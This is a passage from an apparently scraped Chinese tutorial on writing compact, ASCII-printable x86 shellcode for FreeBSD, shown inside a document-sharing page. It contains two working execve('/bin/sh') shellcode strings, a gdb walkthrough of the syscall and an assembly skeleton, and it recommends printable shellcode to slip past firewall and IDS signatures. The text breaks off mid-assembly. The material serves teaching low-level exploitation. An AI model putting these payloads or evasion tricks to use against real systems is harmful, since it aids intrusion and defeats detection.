- 1
- 0
- 约1.12万字
- 约 15页
- 2017-12-22 发布于河南
- 举报
编写优美的SHELLCODE
编写优美的SHELLCODE
编写优美的SHELLCODE
SHELLCODE的活力在于其功能,如果在能够完成功能的前提下又能比较优美,那么就
更能体现shellcode的魅力.
个人认为shellcode的优美能在两个地方表现:
1 shellcode本身应该尽量的短小.
2 shellcode的书写也应该尽量的短小,并且尽量使用能书写为ascii码的机器码.
举例来讲如下两个都是FreeBSD下的shellcode,都是新开一个shell
char shellcode_1[38]=
\xeb\x17\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x8d\x5e
\x08\x50\x53\x56\x56\xb0\x3b\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh;
char shellcode_2[24]=
1\xc0Ph//shh/binT[PPSS4;\xcd\x80;
很显然shellcode_2比shellcode_1要短小精干.首先大小上shellcode_1的机器码为37
字节,shellcode_2
的机器码为23字节;其次从书写上shellcode_1为127字节,shellcode_2为32字节.
从中我们可以看到美化我们的shellcode主要也是从两个方面着手.首先尽量使自己的
代码变小,其次尽量使用
能书写为ascii码的机器码/汇编码.
当然尽量使用ascii码的好处不紧紧是使shellcode看起来美观,更重要的是现在越来
越多的防火强和IDS都开始将
网上流行的shellcode作为识别关键字,这就是说越是接近字符串的shellcode越能躲过
他们的检测.
以下我们通过简化FreeBSD上的具体shellcode来讲述美化shellcode.
首先让我们来开始编写一个简单的shellcode程序.
写如下程序test.c
/* test.c for test shellcode */
#includestdio.h
void main()
{
char *arg[2];
arg[0] = /bin/sh;
arg[1] = NULL;
execve(arg[0], arg, NULL);
}
编译: gcc test.c -static -o test
用gdb来看看其系统调用是如何传递参数的: gdb test
(gdb) disass execve
Dump of assembler code for function execve:
0x8048254 execve: lea 0x3b,%eax
0x804825a execve+6: int $0x80
可以看到其参数传递是通过堆栈进行的,这使得编写shellcode更是简单.
总结一下就是 int $0x80 前 al中放人0x3b 并且堆栈中依次放入
高地址:
^ [指向执行命令的指针 ]
| [指向命令行参数的指针]
| [指向环境变量的指针 ]
| [execve函数返回地址 ]
低地址
就一切搞定!
写一个小程序 t.c
main(){}
gcc -S t.c
得到汇编框架程序t.s
cat t.s
.file t.c
.version 01.01
gcc2_compiled.:
.text
.p2align 2,0x90
.globl main
.type main,@function
main:
pushl %ebp
movl %esp,%ebp
.L2:
leave
ret
.Lfe1:
.size main,.Lfe1-main
.ident GCC: (GNU) c 2.95.3 [FreeBSD](release)
好了我们得到了一个汇编程序框架了,在此基础上简化一下,编写一个汇编程序test.s
如下
.text
.p2align 2,0x90
.globl main
.type main,@function
main:
jmp next
real:
popl %esi ; esi指向/bin/sh
您可能关注的文档
最近下载
- 个人简历表格填写2021简历模板.docx VIP
- 针灸推拿学习题库(附答案).docx VIP
- 毕业设计(论文)-五边形凸台零件铣削加工.doc VIP
- 2026届山东省淄博市高三上学期期末考试(摸底质量检测)历史试题(含答案).docx VIP
- 常见词组固定搭配.pdf VIP
- 2023年山东泰安中考地理试题及答案.pdf VIP
- 胎动管理专家共识最新2025.pptx
- (小学综合实践课标复习题全.doc VIP
- 0—3岁婴幼儿心理发展与教育 第四章 0-3岁婴幼儿心理发展与教育 课件PPT.pptx VIP
- 0—3岁婴幼儿心理发展与教育 第三章 0-3岁婴幼儿心理发展与教育 课件PPT.pptx VIP
原创力文档

文档评论(0)